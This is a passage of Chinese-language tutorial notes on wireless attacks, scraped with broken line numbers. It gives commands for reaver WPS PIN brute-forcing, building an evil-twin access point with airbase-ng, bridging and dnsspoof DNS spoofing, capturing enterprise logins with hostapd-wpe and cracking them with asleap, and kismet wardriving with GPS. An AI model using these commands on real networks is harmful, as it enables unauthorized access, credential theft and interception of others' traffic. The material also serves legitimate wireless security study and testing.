-C:忽略错误帧的报警
-i:指定侦听网卡
-c:指定工作信道或
1
airodump-ng wlan0mon --wps
爆破
PIN码默认每分钟发送10次
PIN码,防止触发锁定机制一旦触发锁定机制,可尝试耗尽
AP连接数,令其重启并解除WPS锁定1
2
3
4
5
6
7reaver -i wlan0mon -b 00:00:00:00:00:00 -vv -c 11
-i:指定使用的无线网卡
-b:指定要爆破的AP
-vv:显示更加详细的信息
-c:指定工作信道
-d:指定每发送一次PIN码的延迟时间(秒)秒破
PIN码1
2
3reaver -i wlan0mon -b 00:00:00:00:00:00 -vv -K 1
-K 1:调用pixiewps命令秒级破解PIN,只针对于固定厂商的芯片,成功率较低获取
PSK1
2
3reaver -i wlan0mon -b 00:00:00:00:00:00 -vv -p PIN
-p:指定已破解的PIN,用于获取PSK
综合自动化无线密码破解工具wifite
EVIL TWIN AP/ROGUE AP

启动无线网卡侦听模式
伪造
AP1
2
3airbase-ng -c 11 --essid kifi-free wlan0mon
-a:指定真实AP的MAC地址,利于完全伪造AP
安装网卡桥接工具包,使连接伪造AP的客户端与局域网内其他有线设备处于同一网络,可以连接互联网
1
apt-get install bridge-utils
设置网桥

1
2
3
4
5
6
7brctl addbr bridge # 添加网桥接口bridge
brctl addif bridge eth0 # 添加网络接口至网桥中
brctl addif bridge at0 # 添加网络接口至网桥中
ifconfig eth0 0.0.0.0 up # 将网桥两端网络接口IP抹掉
ifconfig at0 0.0.0.0 up
ifconfig bridge 10.1.1.101 up # 将网桥激活
route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.1 # 添加网关,使客户端连接真实路由获取IP地址
启动
IP转发1
echo 1 > /proc/sys/net/ipv4/ip_forward
DNS欺骗1
2
3
4dnsspoof -i bridge -f host
-i:指定要欺骗的网络接口,所有经过此网络接口的流量都会进行DNS欺骗
-f:指定要进行DNS欺骗的IP、域名对应关系文件
- 被攻击者连接伪造
AP
3vilTwinAttacker
下载安装
1 | git clone https://github.com/P0cL4bs/3vilTwinAttacker.git |
映射无线网卡至虚拟机,无需配置无线网卡
启动
1 | 3vilTwin-Attacker |

设置3vilTwinAttacker的iptables规则
1 | 删除2,3,4,5条规则 |
WPA企业攻击
hostapd-wpe
hostapd-wpe为hostapd的补丁,用于完善功能,需基于hostapd使用
下载安装
1 | git clone https://github.com/OpenSecurityResearch/hostapd-wpe |
生成证书
1 | cd ../../hostapd-wpe/certs |
修改配置文件
1 | cd hostapd-2.2/hostapd/ |
运行
1 | service network-manager stop |
映射无线网卡
启动无线网卡
1 | ifconfig wlan0 up |
启动伪造AP
1 | cd hostapd-2.2/hostapd/ |
当客户端连接伪造AP,输入用户名密码进行身份认证时,hostapd-wpe会抓取username、challenge、response
密码破解
1 | asleap -C challenge -R response -W a.txt |
aircrack-ng suite其他工具
airdecap-ng
去除802.11头
1 | airdecap-ng -b <AP MAC> 1.cap |
解密WEP加密数据
1 | airdecap-ng -w <WEP KEY> -b <AP MAC> 1.cap |
解密WEP必须有与AP建立关联关系
解密WPA加密数据
1 | airdecap-ng -e kifi -p <PSK> -b <AP MAC> 1.cap |
解密WPA抓包文件中必须包含四步握手信息,否则无解
airserv-ng
通过网络提供无线网卡服务器
某些网卡不支持客户端/服务器模式
某些防火墙会影响C/S间的通信

服务器端启动无线网卡侦听
启动服务器端
1 | airserv-ng -p 3333 -d wlan0mon |
启动客户端
1 | airodump-ng IP:PORT |
airtun-ng
无线入侵检测系统(
wIDS)需要无线密码和
BSSID、获取握手信息中继和重放(
Repeate/Replay)无线信号中继、流量数据包重放
wIDS
用作wIDS的终端需要靠近AP与客户端
当进行wIDS时,AP与客户端所有的通信流量都会被wIDS抓取到,解密进行分析
理论上一个无线网卡支持多AP的wIDS,但2个AP以上时可靠性会下降
WEP
1 | airtun-ng -a <AP MAC> -w <WEP KEY> wlan0mon |
WPA
1 | airtun-ng -a <AP MAC> -p PSK -e kifi wlan0mon |
可以在at0后部署入侵检测系统,实时查看分析流量,也可以将流量数据包保存为.pcap,异地进行重放、分析、查看
Repeate
扩展无线侦听的距离
要求两块网卡都置为monitor模式
其中一块无线网卡用于收取无线信号,通过另一块无线网卡向另一个方向传输无线信号
1 | airtun-ng -a <AP MAC> --repeat --bssid <AP MAC> -i wlan0mon wlan1mon |
Replay
将抓取的cap文件重放到指定网卡
1 | airtun-ng -a <AP MAC> -r 1.cap <interface> |
其他工具
bessid-ng
对AP与STATION做Deauthentication攻击,抓取四步握手信息,只针对WPA加密方式
1 | -b:指定AP的BSSID |
Fern WIFI Cracker
基于Aircrack-ng实现的图形化工具
无线侦察
kismet
嗅探无线网络工具Kismet。使用该工具可以测量周围的无线信号,并查看所有可用的无线接入点
kismet联动结合GPS模块,可生成AP物理坐标,通过转换可将坐标导入谷歌地球,实现无线侦察
当前目录下会生成以kismet开头的文件
Kismet-time.nettxt保存已侦察到的AP的相关信息Kismet-time.netxml保存已侦察到的AP信息与其GPS信息
GPS模块
安装gspd
1 | apt-get install gpsd gpsd-clients |
将
GPS硬件模块映射kill原有gpsd进程将
GPS模块映射后,通过dmesg查看设备文件名称获取定位信息
1
2
3
4
5
6gpsd -n -N -D4 /dev/ttyUSB0
-n:自动启动GPS模块
-N:前台运行
-D4:查看debug信息,4等级(最高等级5)
/dev/ttyUSB0:GSP模块的设备文件名称
无线侦察,
kismet会调用gpsd,对应AP信息与GPS信息1
kismet
将
.netxml存有AP信息与GPS信息的文件进行处理,存储于giskismet的数据库1
2
3giskismet -x Kismet-time.netxml
-x:表示要处理xml格式文件
从
giskismet的数据库中查询1
2
3
4giskismet -q "select * from wireless" -o gps.kml
-q:指定查询语句
-o:指定输出文件
Google地球
下载安装kali64位版本
1 | http://dl.google.com/dl/earth/client/current/google-earth-stable_current_amd64.deb |